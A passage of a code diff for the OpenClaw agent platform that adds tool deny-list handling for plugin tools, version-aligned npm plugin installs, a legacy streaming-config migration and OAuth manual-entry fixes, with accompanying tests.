||||
return `${parsed.name}@${hostVersion}`;
|
||||
}
|
||||
|
||||
async function installCandidate(params: {
|
||||
candidate: DownloadableInstallCandidate;
|
||||
records: Record<string, PluginInstallRecord>;
|
||||
@@ -430,7 +533,8 @@ async function installCandidate(params: {
|
||||
`ClawHub ${candidate.clawhubSpec} unavailable for "${candidate.pluginId}"; falling back to npm ${candidate.npmSpec}.`,
|
||||
);
|
||||
}
|
||||
if (!candidate.npmSpec) {
|
||||
const npmSpec = resolveVersionAlignedOfficialNpmSpec(candidate);
|
||||
if (!npmSpec) {
|
||||
return {
|
||||
records: params.records,
|
||||
changes: [],
|
||||
@@ -440,7 +544,7 @@ async function installCandidate(params: {
|
||||
};
|
||||
}
|
||||
const result = await installPluginFromNpmSpec({
|
||||
spec: candidate.npmSpec,
|
||||
spec: npmSpec,
|
||||
extensionsDir,
|
||||
expectedPluginId: candidate.pluginId,
|
||||
expectedIntegrity: candidate.expectedIntegrity,
|
||||
@@ -464,17 +568,14 @@ async function installCandidate(params: {
|
||||
...params.records,
|
||||
[pluginId]: {
|
||||
source: "npm",
|
||||
spec: candidate.npmSpec,
|
||||
spec: npmSpec,
|
||||
installPath: result.targetDir,
|
||||
version: result.version,
|
||||
installedAt: new Date().toISOString(),
|
||||
...buildNpmResolutionInstallFields(result.npmResolution),
|
||||
},
|
||||
},
|
||||
changes: [
|
||||
...changes,
|
||||
`Installed missing configured plugin "${pluginId}" from ${candidate.npmSpec}.`,
|
||||
],
|
||||
changes: [...changes, `Installed missing configured plugin "${pluginId}" from ${npmSpec}.`],
|
||||
warnings: [],
|
||||
};
|
||||
}
|
||||
@@ -488,6 +589,7 @@ export async function repairMissingConfiguredPluginInstalls(params: {
|
||||
env: params.env,
|
||||
pluginIds: collectConfiguredPluginIds(params.cfg, params.env),
|
||||
channelIds: collectConfiguredChannelIds(params.cfg, params.env),
|
||||
blockedPluginIds: collectBlockedPluginIds(params.cfg),
|
||||
});
|
||||
}
|
||||
|
||||
@@ -530,6 +632,12 @@ async function repairMissingPluginInstalls(params: {
|
||||
env,
|
||||
});
|
||||
const knownIds = new Set(snapshot.plugins.map((plugin) => plugin.id));
|
||||
const configuredChannelOwnerPluginIds = collectEffectiveConfiguredChannelOwnerPluginIds({
|
||||
cfg: params.cfg,
|
||||
env,
|
||||
snapshot,
|
||||
configuredChannelIds: params.channelIds,
|
||||
});
|
||||
const bundledPluginsById = new Map(
|
||||
snapshot.plugins
|
||||
.filter((plugin) => plugin.origin === "bundled")
|
||||
@@ -569,6 +677,7 @@ async function repairMissingPluginInstalls(params: {
|
||||
env,
|
||||
configuredPluginIds: params.pluginIds,
|
||||
configuredChannelIds: params.channelIds,
|
||||
configuredChannelOwnerPluginIds,
|
||||
blockedPluginIds: params.blockedPluginIds,
|
||||
});
|
||||
for (const pluginId of updateDeferredPluginIds) {
|
||||
@@ -642,6 +751,7 @@ async function repairMissingPluginInstalls(params: {
|
||||
missingPluginIds,
|
||||
configuredPluginIds: params.pluginIds,
|
||||
configuredChannelIds: params.channelIds,
|
||||
configuredChannelOwnerPluginIds,
|
||||
blockedPluginIds:
|
||||
deferredPluginIds.size > 0
|
||||
? new Set([...(params.blockedPluginIds ?? []), ...deferredPluginIds])
|
||||
@@ -672,4 +782,5 @@ export const __testing = {
|
||||
collectConfiguredChannelIds,
|
||||
collectConfiguredPluginIds,
|
||||
collectDownloadableInstallCandidates,
|
||||
resolveVersionAlignedOfficialNpmSpec,
|
||||
};
|
||||
|
||||
@@ -53,6 +53,8 @@ export function normalizeLegacyStreamingAliases(
|
||||
} & LegacyStreamingAliasOptions,
|
||||
): CompatMutationResult {
|
||||
const beforeStreaming = params.entry.streaming;
|
||||
const beforeStreamingRecord = asObjectRecord(beforeStreaming);
|
||||
const legacyProgress = asObjectRecord(beforeStreamingRecord?.progress);
|
||||
const hadLegacyStreamMode = params.entry.streamMode !== undefined;
|
||||
const hasLegacyFlatFields =
|
||||
params.entry.chunkMode !== undefined ||
|
||||
@@ -64,6 +66,7 @@ export function normalizeLegacyStreamingAliases(
|
||||
hadLegacyStreamMode ||
|
||||
typeof beforeStreaming === "boolean" ||
|
||||
typeof beforeStreaming === "string" ||
|
||||
legacyProgress !== null ||
|
||||
hasLegacyFlatFields;
|
||||
if (!shouldNormalize) {
|
||||
return { entry: params.entry, changed: false };
|
||||
@@ -129,6 +132,17 @@ export function normalizeLegacyStreamingAliases(
|
||||
);
|
||||
changed = true;
|
||||
}
|
||||
if (legacyProgress) {
|
||||
if (preview.toolProgress === undefined && typeof legacyProgress.toolProgress === "boolean") {
|
||||
preview.toolProgress = legacyProgress.toolProgress;
|
||||
params.changes.push(
|
||||
`Moved ${params.pathPrefix}.streaming.progress.toolProgress → ${params.pathPrefix}.streaming.preview.toolProgress.`,
|
||||
);
|
||||
}
|
||||
delete streaming.progress;
|
||||
params.changes.push(`Removed ${params.pathPrefix}.streaming.progress legacy object.`);
|
||||
changed = true;
|
||||
}
|
||||
if (updated.blockStreamingCoalesce !== undefined && block.coalesce === undefined) {
|
||||
block.coalesce = updated.blockStreamingCoalesce;
|
||||
delete updated.blockStreamingCoalesce;
|
||||
@@ -281,6 +295,7 @@ export function hasLegacyStreamingAliases(
|
||||
entry.streamMode !== undefined ||
|
||||
typeof entry.streaming === "boolean" ||
|
||||
typeof entry.streaming === "string" ||
|
||||
asObjectRecord(entry.streaming)?.progress !== undefined ||
|
||||
entry.chunkMode !== undefined ||
|
||||
entry.blockStreaming !== undefined ||
|
||||
entry.blockStreamingCoalesce !== undefined ||
|
||||
|
||||
@@ -15,6 +15,7 @@ import {
|
||||
} from "../agents/tool-policy-pipeline.js";
|
||||
import {
|
||||
collectExplicitAllowlist,
|
||||
collectExplicitDenylist,
|
||||
mergeAlsoAllowPolicy,
|
||||
resolveToolProfilePolicy,
|
||||
} from "../agents/tool-policy.js";
|
||||
@@ -108,6 +109,16 @@ export function resolveGatewayScopedTools(params: {
|
||||
subagentPolicy,
|
||||
gatewayRequestedTools.length > 0 ? { allow: gatewayRequestedTools } : undefined,
|
||||
]),
|
||||
pluginToolDenylist: collectExplicitDenylist([
|
||||
profilePolicy,
|
||||
providerProfilePolicy,
|
||||
globalPolicy,
|
||||
globalProviderPolicy,
|
||||
agentPolicy,
|
||||
agentProviderPolicy,
|
||||
groupPolicy,
|
||||
subagentPolicy,
|
||||
]),
|
||||
});
|
||||
|
||||
const policyFiltered = applyToolPolicyPipeline({
|
||||
|
||||
@@ -101,6 +101,15 @@ describe("tsdown config", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("does not compile root-package-excluded externalized plugins into root dist entries", () => {
|
||||
const distGraph = unifiedDistGraph();
|
||||
const keys = entryKeys(distGraph as TsdownConfigEntry);
|
||||
|
||||
expect(keys).toContain(bundledEntry("active-memory"));
|
||||
expect(keys).not.toContain(bundledEntry("feishu"));
|
||||
expect(keys).not.toContain(bundledEntry("discord"));
|
||||
});
|
||||
|
||||
it("keeps gateway lifecycle lazy runtime behind one stable dist entry", () => {
|
||||
const distGraph = unifiedDistGraph();
|
||||
|
||||
|
||||
@@ -87,6 +87,32 @@ describe("plugin tools MCP server", () => {
|
||||
expect(connectToolsMcpServerToStdioMock).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("threads global plugin tool policy into plugin resolution", async () => {
|
||||
getRuntimeConfigMock.mockReturnValueOnce({
|
||||
plugins: { enabled: true },
|
||||
tools: {
|
||||
alsoAllow: ["memory_search"],
|
||||
deny: ["memory_forget"],
|
||||
},
|
||||
} as never);
|
||||
const { servePluginToolsMcp } = await import("./plugin-tools-serve.js");
|
||||
|
||||
await servePluginToolsMcp();
|
||||
|
||||
expect(ensureStandalonePluginToolRegistryLoadedMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
toolAllowlist: expect.arrayContaining(["memory_search"]),
|
||||
toolDenylist: ["memory_forget"],
|
||||
}),
|
||||
);
|
||||
expect(resolvePluginToolsMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
toolAllowlist: expect.arrayContaining(["memory_search"]),
|
||||
toolDenylist: ["memory_forget"],
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("lists registered plugin tools and serializes non-array tool content", async () => {
|
||||
const execute = vi.fn().mockResolvedValue({
|
||||
content: "Stored.",
|
||||
|
||||
@@ -8,6 +8,13 @@
|
||||
*/
|
||||
import { pathToFileURL } from "node:url";
|
||||
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
|
||||
import { pickSandboxToolPolicy } from "../agents/sandbox-tool-policy.js";
|
||||
import {
|
||||
collectExplicitAllowlist,
|
||||
collectExplicitDenylist,
|
||||
mergeAlsoAllowPolicy,
|
||||
resolveToolProfilePolicy,
|
||||
} from "../agents/tool-policy.js";
|
||||
import type { AnyAgentTool } from "../agents/tools/common.js";
|
||||
import { getRuntimeConfig } from "../config/config.js";
|
||||
import type { OpenClawConfig } from "../config/types.openclaw.js";
|
||||
@@ -16,12 +23,32 @@ import { routeLogsToStderr } from "../logging/console.js";
|
||||
import { ensureStandalonePluginToolRegistryLoaded, resolvePluginTools } from "../plugins/tools.js";
|
||||
import { connectToolsMcpServerToStdio, createToolsMcpServer } from "./tools-stdio-server.js";
|
||||
|
||||
function resolvePluginToolPolicy(config: OpenClawConfig): {
|
||||
toolAllowlist?: string[];
|
||||
toolDenylist?: string[];
|
||||
} {
|
||||
const profilePolicy = mergeAlsoAllowPolicy(
|
||||
resolveToolProfilePolicy(config.tools?.profile),
|
||||
config.tools?.alsoAllow,
|
||||
);
|
||||
const globalPolicy = pickSandboxToolPolicy(config.tools);
|
||||
const toolAllowlist = collectExplicitAllowlist([profilePolicy, globalPolicy]);
|
||||
const toolDenylist = collectExplicitDenylist([profilePolicy, globalPolicy]);
|
||||
return {
|
||||
...(toolAllowlist.length > 0 ? { toolAllowlist } : {}),
|
||||
...(toolDenylist.length > 0 ? { toolDenylist } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
function resolveTools(config: OpenClawConfig): AnyAgentTool[] {
|
||||
const pluginToolPolicy = resolvePluginToolPolicy(config);
|
||||
ensureStandalonePluginToolRegistryLoaded({
|
||||
context: { config },
|
||||
...pluginToolPolicy,
|
||||
});
|
||||
return resolvePluginTools({
|
||||
context: { config },
|
||||
...pluginToolPolicy,
|
||||
suppressNameConflicts: true,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -333,7 +333,7 @@ async function expectRejectedPackageExtensionEntry(params: {
|
||||
if (params.expectedDiagnostic === "runtime") {
|
||||
expect(
|
||||
result.diagnostics.some(
|
||||
(entry) => entry.level === "error" && entry.message.includes("compiled runtime output"),
|
||||
(entry) => entry.level === "warn" && entry.message.includes("compiled runtime output"),
|
||||
),
|
||||
).toBe(true);
|
||||
return;
|
||||
@@ -748,7 +748,7 @@ describe("discoverOpenClawPlugins", () => {
|
||||
expectCandidateIds(candidates, { includes: ["pack/one", "pack/two"] });
|
||||
});
|
||||
|
||||
it("rejects source-only TypeScript entries for installed package plugins", async () => {
|
||||
it("warns but still loads source-only TypeScript entries for installed package plugins", async () => {
|
||||
const stateDir = makeTempDir();
|
||||
const pluginDir = path.join(stateDir, "extensions", "source-only-pack");
|
||||
mkdirSafe(path.join(pluginDir, "src"));
|
||||
@@ -762,11 +762,11 @@ describe("discoverOpenClawPlugins", () => {
|
||||
|
||||
const result = await discoverWithStateDir(stateDir, {});
|
||||
|
||||
expectCandidatePresence(result, { absent: ["source-only-pack"] });
|
||||
expectCandidateIds(result.candidates, { includes: ["source-only-pack"] });
|
||||
expect(
|
||||
result.diagnostics.some(
|
||||
(entry) =>
|
||||
entry.level === "error" &&
|
||||
entry.level === "warn" &&
|
||||
entry.message.includes("requires compiled runtime output") &&
|
||||
entry.message.includes("./dist/index.js"),
|
||||
),
|
||||
|
||||
@@ -495,7 +495,7 @@ function resolvePackageRuntimeEntrySource(params: {
|
||||
isTypeScriptPackageEntry(safeEntry.relativePath)
|
||||
) {
|
||||
params.diagnostics.push({
|
||||
level: "error",
|
||||
level: "warn",
|
||||
message: missingCompiledRuntimeEntryMessage({
|
||||
label: "installed plugin package",
|
||||
entry: safeEntry.relativePath,
|
||||
@@ -503,7 +503,6 @@ function resolvePackageRuntimeEntrySource(params: {
|
||||
}),
|
||||
source: params.sourceLabel,
|
||||
});
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -34,12 +34,13 @@ type CodexLoginOptions = {
|
||||
|
||||
function createPrompter() {
|
||||
const spin = { update: vi.fn(), stop: vi.fn() };
|
||||
const text = vi.fn(async () => "http://localhost:1455/auth/callback?code=test");
|
||||
const prompter: Pick<WizardPrompter, "note" | "progress" | "text"> = {
|
||||
note: vi.fn(async () => {}),
|
||||
progress: vi.fn(() => spin),
|
||||
text: vi.fn(async () => "http://localhost:1455/auth/callback?code=test"),
|
||||
text,
|
||||
};
|
||||
return { prompter: prompter as unknown as WizardPrompter, spin };
|
||||
return { prompter: prompter as unknown as WizardPrompter, spin, text };
|
||||
}
|
||||
|
||||
function createRuntime(): RuntimeEnv {
|
||||
@@ -222,7 +223,7 @@ describe("loginOpenAICodexOAuth", () => {
|
||||
|
||||
it("waits briefly before prompting for manual input after the local browser flow starts", async () => {
|
||||
vi.useFakeTimers();
|
||||
const { prompter } = createPrompter();
|
||||
const { prompter, spin, text } = createPrompter();
|
||||
const runtime = createRuntime();
|
||||
mocks.loginOpenAICodex.mockImplementation(async (opts: CodexLoginOptions) => {
|
||||
await startCodexAuth(opts);
|
||||
@@ -252,6 +253,54 @@ describe("loginOpenAICodexOAuth", () => {
|
||||
message: "Paste the authorization code (or full redirect URL):",
|
||||
validate: expect.any(Function),
|
||||
});
|
||||
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
|
||||
expect(spin.stop.mock.invocationCallOrder[0]).toBeLessThan(
|
||||
text.mock.invocationCallOrder[0] ?? 0,
|
||||
);
|
||||
expect(runtime.log).toHaveBeenCalledWith(
|
||||
"OpenAI Codex OAuth callback did not arrive within 15000ms; switching to manual entry (callback_timeout).",
|
||||
);
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
it("reuses one local manual prompt when the oauth helper repeats fallback calls", async () => {
|
||||
vi.useFakeTimers();
|
||||
const { prompter, spin, text } = createPrompter();
|
||||
const runtime = createRuntime();
|
||||
mocks.loginOpenAICodex.mockImplementation(async (opts: CodexLoginOptions) => {
|
||||
await startCodexAuth(opts);
|
||||
const firstManualPromise = opts.onManualCodeInput?.();
|
||||
const secondManualPromise = opts.onManualCodeInput?.();
|
||||
await vi.advanceTimersByTimeAsync(16_000);
|
||||
const [firstManualCode, secondManualCode] = await Promise.all([
|
||||
firstManualPromise,
|
||||
secondManualPromise,
|
||||
]);
|
||||
expect(secondManualCode).toBe(firstManualCode);
|
||||
return createCodexCredentials({ manualCode: firstManualCode });
|
||||
});
|
||||
|
||||
await expect(
|
||||
loginOpenAICodexOAuth({
|
||||
prompter,
|
||||
runtime,
|
||||
isRemote: false,
|
||||
openUrl: async () => {},
|
||||
}),
|
||||
).resolves.toMatchObject({
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
});
|
||||
|
||||
expect(text).toHaveBeenCalledOnce();
|
||||
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
|
||||
expect(
|
||||
spin.update.mock.calls.filter(
|
||||
([message]) =>
|
||||
message === "Browser callback did not finish. Paste the redirect URL to continue…",
|
||||
),
|
||||
).toHaveLength(1);
|
||||
expect(runtime.log).toHaveBeenCalledTimes(2);
|
||||
expect(runtime.log).toHaveBeenCalledWith(
|
||||
"OpenAI Codex OAuth callback did not arrive within 15000ms; switching to manual entry (callback_timeout).",
|
||||
);
|
||||
@@ -326,7 +375,7 @@ describe("loginOpenAICodexOAuth", () => {
|
||||
|
||||
it("prompts for manual input immediately when the local callback flow never starts", async () => {
|
||||
vi.useFakeTimers();
|
||||
const { prompter } = createPrompter();
|
||||
const { prompter, spin, text } = createPrompter();
|
||||
const runtime = createRuntime();
|
||||
mocks.loginOpenAICodex.mockImplementation(
|
||||
async (opts: { onManualCodeInput?: () => Promise<string> }) => {
|
||||
@@ -352,6 +401,49 @@ describe("loginOpenAICodexOAuth", () => {
|
||||
message: "Paste the authorization code (or full redirect URL):",
|
||||
validate: expect.any(Function),
|
||||
});
|
||||
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
|
||||
expect(spin.stop.mock.invocationCallOrder[0]).toBeLessThan(
|
||||
text.mock.invocationCallOrder[0] ?? 0,
|
||||
);
|
||||
expect(vi.getTimerCount()).toBe(0);
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
it("reuses one immediate manual prompt when the local callback flow never starts", async () => {
|
||||
vi.useFakeTimers();
|
||||
const { prompter, spin, text } = createPrompter();
|
||||
const runtime = createRuntime();
|
||||
mocks.loginOpenAICodex.mockImplementation(async (opts: CodexLoginOptions) => {
|
||||
expect(opts.onManualCodeInput).toBeTypeOf("function");
|
||||
const [firstManualCode, secondManualCode] = await Promise.all([
|
||||
opts.onManualCodeInput?.(),
|
||||
opts.onManualCodeInput?.(),
|
||||
]);
|
||||
expect(secondManualCode).toBe(firstManualCode);
|
||||
return createCodexCredentials({ manualCode: firstManualCode });
|
||||
});
|
||||
|
||||
await expect(
|
||||
loginOpenAICodexOAuth({
|
||||
prompter,
|
||||
runtime,
|
||||
isRemote: false,
|
||||
openUrl: async () => {},
|
||||
}),
|
||||
).resolves.toMatchObject({
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
});
|
||||
|
||||
expect(text).toHaveBeenCalledOnce();
|
||||
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
|
||||
expect(
|
||||
spin.update.mock.calls.filter(
|
||||
([message]) =>
|
||||
message === "Local OAuth callback was unavailable. Paste the redirect URL to continue…",
|
||||
),
|
||||
).toHaveLength(1);
|
||||
expect(runtime.log).toHaveBeenCalledTimes(1);
|
||||
expect(vi.getTimerCount()).toBe(0);
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
@@ -77,25 +77,30 @@ function createManualCodeInputHandler(params: {
|
||||
isRemote: boolean;
|
||||
onPrompt: (prompt: OAuthPrompt) => Promise<string>;
|
||||
runtime: RuntimeEnv;
|
||||
spin: ReturnType<WizardPrompter["progress"]>;
|
||||
updateProgress: (message: string) => void;
|
||||
stopProgress: (message?: string) => void;
|
||||
waitForLoginToSettle: Promise<void>;
|
||||
hasBrowserAuthStarted: () => boolean;
|
||||
}): (() => Promise<string>) | undefined {
|
||||
let manualFallbackPromise: Promise<string> | undefined;
|
||||
if (params.isRemote) {
|
||||
return async () =>
|
||||
await params.onPrompt({
|
||||
return async () => {
|
||||
manualFallbackPromise ??= params.onPrompt({
|
||||
message: manualInputPromptMessage,
|
||||
});
|
||||
return await manualFallbackPromise;
|
||||
};
|
||||
}
|
||||
|
||||
return async () => {
|
||||
const runLocalManualFallback = async () => {
|
||||
if (!params.hasBrowserAuthStarted()) {
|
||||
params.spin.update(
|
||||
params.updateProgress(
|
||||
"Local OAuth callback was unavailable. Paste the redirect URL to continue…",
|
||||
);
|
||||
params.runtime.log(
|
||||
"OpenAI Codex OAuth local callback did not start; switching to manual entry immediately.",
|
||||
);
|
||||
params.stopProgress("Manual OAuth entry required");
|
||||
return await params.onPrompt({
|
||||
message: manualInputPromptMessage,
|
||||
});
|
||||
@@ -121,14 +126,20 @@ function createManualCodeInputHandler(params: {
|
||||
return await createNeverSettlingPromptResult();
|
||||
}
|
||||
|
||||
params.spin.update("Browser callback did not finish. Paste the redirect URL to continue…");
|
||||
params.updateProgress("Browser callback did not finish. Paste the redirect URL to continue…");
|
||||
params.runtime.log(
|
||||
`OpenAI Codex OAuth callback did not arrive within ${localManualFallbackDelayMs}ms; switching to manual entry (callback_timeout).`,
|
||||
);
|
||||
params.stopProgress("Manual OAuth entry required");
|
||||
return await params.onPrompt({
|
||||
message: manualInputPromptMessage,
|
||||
});
|
||||
};
|
||||
|
||||
return async () => {
|
||||
manualFallbackPromise ??= runLocalManualFallback();
|
||||
return await manualFallbackPromise;
|
||||
};
|
||||
}
|
||||
|
||||
export async function loginOpenAICodexOAuth(params: {
|
||||
@@ -166,6 +177,18 @@ export async function loginOpenAICodexOAuth(params: {
|
||||
);
|
||||
|
||||
const spin = prompter.progress("Starting OAuth flow…");
|
||||
let progressActive = true;
|
||||
const updateProgress = (message: string) => {
|
||||
if (progressActive) {
|
||||
spin.update(message);
|
||||
}
|
||||
};
|
||||
const stopProgress = (message?: string) => {
|
||||
if (progressActive) {
|
||||
progressActive = false;
|
||||
spin.stop(message);
|
||||
}
|
||||
};
|
||||
let browserAuthStarted = false;
|
||||
let markLoginSettled!: () => void;
|
||||
const waitForLoginToSettle = new Promise<void>((resolve) => {
|
||||
@@ -194,16 +217,17 @@ export async function loginOpenAICodexOAuth(params: {
|
||||
isRemote,
|
||||
onPrompt,
|
||||
runtime,
|
||||
spin,
|
||||
updateProgress,
|
||||
stopProgress,
|
||||
waitForLoginToSettle,
|
||||
hasBrowserAuthStarted: () => browserAuthStarted,
|
||||
}),
|
||||
onProgress: (msg: string) => spin.update(msg),
|
||||
onProgress: (msg: string) => updateProgress(msg),
|
||||
});
|
||||
spin.stop("OpenAI OAuth complete");
|
||||
stopProgress("OpenAI OAuth complete");
|
||||
return creds ?? null;
|
||||
} catch (err) {
|
||||
spin.stop("OpenAI OAuth failed");
|
||||
stopProgress("OpenAI OAuth failed");
|
||||
const rewrittenError = rewriteOpenAICodexOAuthError(err);
|
||||
runtime.error(String(rewrittenError));
|
||||
await prompter.note("Trouble with OAuth? See https://docs.openclaw.ai/start/faq", "OAuth help");
|
||||
|
||||
@@ -68,6 +68,7 @@ function createContext() {
|
||||
function createResolveToolsParams(params?: {
|
||||
context?: ReturnType<typeof createContext> & Record<string, unknown>;
|
||||
toolAllowlist?: readonly string[];
|
||||
toolDenylist?: readonly string[];
|
||||
existingToolNames?: Set<string>;
|
||||
env?: NodeJS.ProcessEnv;
|
||||
suppressNameConflicts?: boolean;
|
||||
@@ -76,6 +77,7 @@ function createResolveToolsParams(params?: {
|
||||
return {
|
||||
context: (params?.context ?? createContext()) as never,
|
||||
...(params?.toolAllowlist ? { toolAllowlist: [...params.toolAllowlist] } : {}),
|
||||
...(params?.toolDenylist ? { toolDenylist: [...params.toolDenylist] } : {}),
|
||||
...(params?.existingToolNames ? { existingToolNames: params.existingToolNames } : {}),
|
||||
...(params?.env ? { env: params.env } : {}),
|
||||
...(params?.suppressNameConflicts ? { suppressNameConflicts: true } : {}),
|
||||
@@ -1144,6 +1146,74 @@ describe("resolvePluginTools optional tools", () => {
|
||||
expect(loadOpenClawPluginsMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not materialize manifest-unavailable optional sibling tools under alsoAllow", () => {
|
||||
const config = createContext().config;
|
||||
installToolManifestSnapshot({
|
||||
config,
|
||||
env: {},
|
||||
plugin: {
|
||||
id: "multi",
|
||||
origin: "bundled",
|
||||
enabledByDefault: true,
|
||||
channels: [],
|
||||
providers: [],
|
||||
providerAuthEnvVars: {
|
||||
xai: ["XAI_API_KEY"],
|
||||
},
|
||||
contracts: {
|
||||
tools: ["other_tool", "optional_tool"],
|
||||
},
|
||||
toolMetadata: {
|
||||
optional_tool: {
|
||||
optional: true,
|
||||
authSignals: [{ provider: "xai" }],
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
const defaultFactory = vi.fn(() => makeTool("other_tool"));
|
||||
const optionalFactory = vi.fn(() => makeTool("optional_tool"));
|
||||
setActivePluginRegistry(
|
||||
createToolRegistry([
|
||||
{
|
||||
pluginId: "multi",
|
||||
optional: false,
|
||||
source: "/tmp/multi.js",
|
||||
names: ["other_tool"],
|
||||
declaredNames: ["other_tool"],
|
||||
factory: defaultFactory,
|
||||
},
|
||||
{
|
||||
pluginId: "multi",
|
||||
optional: true,
|
||||
source: "/tmp/multi.js",
|
||||
names: ["optional_tool"],
|
||||
declaredNames: ["optional_tool"],
|
||||
factory: optionalFactory,
|
||||
},
|
||||
]) as never,
|
||||
"test-tool-registry",
|
||||
"gateway-bindable",
|
||||
"/tmp",
|
||||
);
|
||||
|
||||
const tools = resolvePluginTools(
|
||||
createResolveToolsParams({
|
||||
context: {
|
||||
...createContext(),
|
||||
config,
|
||||
},
|
||||
env: {},
|
||||
toolAllowlist: [DEFAULT_PLUGIN_TOOLS_ALLOWLIST_ENTRY, "optional_tool"],
|
||||
}),
|
||||
);
|
||||
|
||||
expectResolvedToolNames(tools, ["other_tool"]);
|
||||
expect(defaultFactory).toHaveBeenCalledTimes(1);
|
||||
expect(optionalFactory).not.toHaveBeenCalled();
|
||||
expect(loadOpenClawPluginsMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects plugin id collisions with core tool names", () => {
|
||||
const registry = setRegistry([
|
||||
{
|
||||
@@ -2109,6 +2179,30 @@ describe("resolvePluginTools optional tools", () => {
|
||||
expectResolvedToolNames(tools, ["browser"]);
|
||||
});
|
||||
|
||||
it("does not materialize plugin tools blocked by explicit deny policy", () => {
|
||||
const browserFactory = vi.fn(() => makeTool("browser"));
|
||||
const browserEntry: MockRegistryToolEntry = {
|
||||
pluginId: "browser",
|
||||
optional: false,
|
||||
source: "/tmp/browser.js",
|
||||
names: ["browser"],
|
||||
declaredNames: ["browser"],
|
||||
factory: browserFactory,
|
||||
};
|
||||
setRegistry([browserEntry]);
|
||||
|
||||
const tools = resolvePluginTools(
|
||||
createResolveToolsParams({
|
||||
toolAllowlist: ["*"],
|
||||
toolDenylist: ["browser"],
|
||||
}),
|
||||
);
|
||||
|
||||
expectResolvedToolNames(tools, []);
|
||||
expect(browserFactory).not.toHaveBeenCalled();
|
||||
expect(loadOpenClawPluginsMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("includes optional tools when wildcard allowlist is active (#76507)", () => {
|
||||
setOptionalDemoRegistry();
|
||||
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { compileGlobPatterns, matchesAnyGlobPattern } from "../agents/glob-pattern.js";
|
||||
import { DEFAULT_PLUGIN_TOOLS_ALLOWLIST_ENTRY, normalizeToolName } from "../agents/tool-policy.js";
|
||||
import type { AnyAgentTool } from "../agents/tools/common.js";
|
||||
import { createSubsystemLogger } from "../logging/subsystem.js";
|
||||
@@ -86,6 +87,39 @@ function normalizeAllowlist(list?: string[]) {
|
||||
return new Set((list ?? []).map(normalizeToolName).filter(Boolean));
|
||||
}
|
||||
|
||||
function normalizeDenylist(list?: string[]) {
|
||||
return compileGlobPatterns({
|
||||
raw: list,
|
||||
normalize: normalizeToolName,
|
||||
});
|
||||
}
|
||||
|
||||
function denylistBlocksName(name: string, denylist: ReturnType<typeof normalizeDenylist>): boolean {
|
||||
const normalized = normalizeToolName(name);
|
||||
return normalized ? matchesAnyGlobPattern(normalized, denylist) : false;
|
||||
}
|
||||
|
||||
function denylistBlocksPlugin(params: {
|
||||
pluginId: string;
|
||||
denylist: ReturnType<typeof normalizeDenylist>;
|
||||
}): boolean {
|
||||
return (
|
||||
denylistBlocksName(params.pluginId, params.denylist) ||
|
||||
matchesAnyGlobPattern("group:plugins", params.denylist)
|
||||
);
|
||||
}
|
||||
|
||||
function denylistBlocksPluginTool(params: {
|
||||
pluginId: string;
|
||||
toolName: string;
|
||||
denylist: ReturnType<typeof normalizeDenylist>;
|
||||
}): boolean {
|
||||
return (
|
||||
denylistBlocksPlugin({ pluginId: params.pluginId, denylist: params.denylist }) ||
|
||||
denylistBlocksName(params.toolName, params.denylist)
|
||||
);
|
||||
}
|
||||
|
||||
function allowlistIncludesDefaultPluginTools(allowlist: Set<string>): boolean {
|
||||
return allowlist.size === 0 || allowlist.has(DEFAULT_PLUGIN_TOOLS_ALLOWLIST_ENTRY);
|
||||
}
|
||||
@@ -331,15 +365,6 @@ function listManifestToolNamesForAllowlist(params: {
|
||||
return [...new Set([...defaultToolNames, ...matchedToolNames])];
|
||||
}
|
||||
|
||||
function manifestToolContractMatchesAllowlist(params: {
|
||||
plugin: PluginManifestRecord;
|
||||
toolNames: readonly string[];
|
||||
pluginId: string;
|
||||
allowlist: Set<string>;
|
||||
}): boolean {
|
||||
return listManifestToolNamesForAllowlist(params).length > 0;
|
||||
}
|
||||
|
||||
function listManifestToolNamesForAvailability(params: {
|
||||
plugin: PluginManifestRecord;
|
||||
toolNames: readonly string[];
|
||||
@@ -349,17 +374,53 @@ function listManifestToolNamesForAvailability(params: {
|
||||
return listManifestToolNamesForAllowlist(params);
|
||||
}
|
||||
|
||||
function isManifestToolNameAvailable(params: {
|
||||
plugin: PluginManifestRecord;
|
||||
toolName: string;
|
||||
config: PluginLoadOptions["config"];
|
||||
env: NodeJS.ProcessEnv;
|
||||
hasAuthForProvider?: (providerId: string) => boolean;
|
||||
}): boolean {
|
||||
return hasManifestToolAvailability({
|
||||
plugin: params.plugin,
|
||||
toolNames: [params.toolName],
|
||||
config: params.config,
|
||||
env: params.env,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
});
|
||||
}
|
||||
|
||||
function filterManifestToolNamesForAvailability(params: {
|
||||
plugin: PluginManifestRecord;
|
||||
toolNames: readonly string[];
|
||||
config: PluginLoadOptions["config"];
|
||||
env: NodeJS.ProcessEnv;
|
||||
hasAuthForProvider?: (providerId: string) => boolean;
|
||||
}): string[] {
|
||||
return params.toolNames.filter((toolName) =>
|
||||
isManifestToolNameAvailable({
|
||||
plugin: params.plugin,
|
||||
toolName,
|
||||
config: params.config,
|
||||
env: params.env,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
